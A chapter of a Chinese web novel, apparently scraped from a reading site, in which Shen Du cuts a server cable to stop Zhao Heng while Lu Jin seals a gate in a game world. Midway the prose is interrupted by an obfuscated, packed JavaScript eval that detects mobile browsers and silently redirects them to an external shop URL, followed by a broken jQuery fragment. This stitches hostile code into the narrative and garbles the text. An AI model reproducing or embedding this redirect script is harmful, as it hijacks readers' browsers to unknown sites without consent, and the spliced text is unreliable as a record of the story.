安全屋的门在沈渡背后合拢的那一刻,他被一股力道推得踉跄了两步,后背撞上对面的墙壁,震得胸腔发闷。他稳住身形的一瞬间,耳边还残留着陆烬最后一句话的余震——声音又低又短,只有两个字:"等着。"

    然后他推了沈渡一把。用尽全力的、不容反驳的、连沈渡都来不及反应的一推。沈渡跌进了安全屋,门关上了,蓝光被隔绝在外。他撑着墙站起来,额头抵着冰冷的金属门板,呼吸又急又重。

    "……饼饼。"他喊了一声。

    没有回应。饼饼在陆烬肩上,它的金色光覆着他的肩窝,像一滴凝在裂痕上的蜡。沈渡攥紧了拳头。拳心里什么也没有——那粒他试图点燃的火种在陆烬推他出来的那一刻被强行剥离了,留在原处当成了另一层"锚点"。

    沈渡现在身上什么都没有了。视觉、碎片、饼饼、光——全都在门那边。

    他用力吸了一口气,把手从门上拿下来,调出了管理员面板。面板上的倒计时还在跳动着,每六十秒减一分——二十四分钟零几秒。比他以为的更短。

    "林小满,"他对着通讯器说,声音努力压平,"我出局了。你那边什么进度?"

    林小满的键盘声密集得像暴雨打在铁皮屋顶上。她开口了,声音绷得像一根拉满的弦:"我切进他后门了百分之四十。但有一个问题——我刚才扫描到赵恒的登录设备不是全息舱。是直接植入服务器核心的手动操控端。"

    沈渡顿了一瞬:"什么意思?"

    "意思是你拔掉他那台电脑网线,比我在游戏里写一百行代码都管用。"林小满的声音里带着一种孤注一掷的精准,"他现在是实体操控——人在公司机房,手在键盘上,网线连着主脑核心接口。你把线扯了,他就断。"

    沈渡没有再问任何问题。他猛地拍了退出键。

    全息舱弹开的瞬间,他跌跌撞撞地爬出来,膝盖磕在卧室地板上,顾不得疼。他看了一眼手机上的时间——晚上十点四十三分。公司机房有二十四小时安保,但赵恒今天"加班"。

    沈渡抓起外套往外冲,路过客厅时随手拽了门口鞋柜上陆烬留下的一把折叠刀。他不知道那刀有什么用,他只知道他现在需要一个能割断网线的东西。

    他跑到楼下打车的时候,手机屏幕亮了。饼饼的头像从屏幕角落里弹出来——金色,极其微弱,但还在动。它弹出几个断断续续的、几乎看不清楚的字符:

    【……他……还……撑……着……】

    沈渡把手机攥紧,抬头看了一眼窗外飞掠而过的城市灯光。

    "我知道。"他说。

    十分钟后沈渡刷卡进了公司大楼。安保看到他愣了一下——这个点的员工要么已经下班了,要么在加班区亮着灯,但沈渡的脸太熟,保安迟疑了两秒就放了行。他进了电梯,按了机房所在的楼层。电梯门合拢的瞬间,他的手机屏幕又亮了。

    这次不是文字。是一条语音,三秒钟,林小满传过来的。沈渡把听筒贴上耳朵,里面传来一声很轻的、像从很远的深处捞上来的喘息——然后是一个声音。

    "沈渡。"

    是陆烬。他的声音比任何时候都哑,像喉咙里灌满了沙。但他叫的是沈渡的名字。然后语音断了。

    沈渡把手机收进口袋,走出了电梯。机房的门虚掩着,门缝里透出淡白色的冷光。他听见里面传来键盘敲击的声音——密集的、快速的、几乎带着某种近乎疯狂的节奏。沈渡推开门。

    赵恒背对着他,坐在主控机前,屏幕上全是不规则跳动的代码流。他的肩膀微微耸起,整个人像一只绷紧了的箭。他没有回头,但他在沈渡推开门的同一秒,开口了。

    "沈渡。"他的声音很平静,平静到不正常。"你来了。"

    沈渡没有接话。他看见了那根线。网线端口上,一根拇指粗的光纤连接着主控机和核心服务器,接口处泛着微弱的蓝色荧光。

    沈渡朝着那根线走过去。

    赵恒在最后关头转过身来——他的表情有一瞬间的扭曲,像一张面具被猛地撕开了一条缝。他伸手去挡,但沈渡比他快了半拍。折叠刀弹开,银色的刀锋贴上了那根蓝色光纤的表面。

    "线断了你就全完了,"赵恒的声音终于失了分寸,尖锐得像碎玻璃,"他也会断。他们两个现在连着,你割断这头他那边也会——"

    沈渡没有听他说完。他手腕用力一压。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909738|213090||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>光纤被切成两段。

    蓝色荧光在断裂的一瞬间猛地暴涨了一瞬,然后像被抽走了血液的血管一样迅速暗下去,只剩两截无光的线头在空气中轻轻晃动。主控机的屏幕上,那跳动的代码流骤然停滞了半秒——然后开始倒退,像潮水一样往回缩,缩进屏幕深处的数据底层。

    沈渡松开刀,它当啷一声落在地板上。

    然后他低头看向自己的手机屏幕。饼饼的头像还在——金色比刚才亮了一些,亮了很多。它弹出了一行完整的字,每一个笔画都清清楚楚:

    【他在动了。门在关。】

    沈渡把手机屏幕按在自己胸口的位置,闭上了眼。

    荒原上,那扇银白色的巨门正在发出巨大的、沉闷的摩擦声。门缝开始收窄——五分之三、五分之二、五分之一。蓝色光芒在门板合拢的过程中被一寸一寸压回缝隙里,像一条被拧紧的水管。而门前的荒原正中,陆烬单膝跪在那里,手里的刀插在地表,刀面上的金色光正在一点一点蔓延过他的整个前臂、肩膀、胸口。

    他身上的蓝色在褪去。

    像退潮一样。从指尖开始,到手腕,到小臂,缓慢但不可逆地往回缩,缩回门缝里,缩回那扇即将彻底合拢的门后。陆烬低着头,呼吸沉重而凌乱。他的左手始终按在自己胸口的位置——那里,一粒微弱的金色暖意正在跳动。

    饼饼趴在他肩头,整条狗蜷成小小一团,金色光晕暗淡得像风里的最后一根蜡烛。但它没有散。它贴着他的肩窝,呼吸细弱但持续。

    远处,门合拢的最后一刻,赵恒的声音从那条越来越窄的蓝光缝隙里传出来——短促、尖锐、像被门板夹住后挤出的一声闷叫。然后缝隙合上了。

    整片荒原归于寂静。

    陆烬跪在那里,很久很久没有动。然后他低头看着自己的手——握着刀的那只手,指尖在微微发抖。他慢慢把刀从地表里拔出来,放到膝上,然后伸手去碰自己肩头的饼饼。手指碰到它耳朵的一瞬间,饼饼轻轻蹭了一下他的指腹。

    安全屋里,沈渡贴着门板坐在地上,手里攥着手机,屏幕上金色的小狗头像正轻轻摇摆着尾巴。

    他的眼眶有点红,但他笑了一下。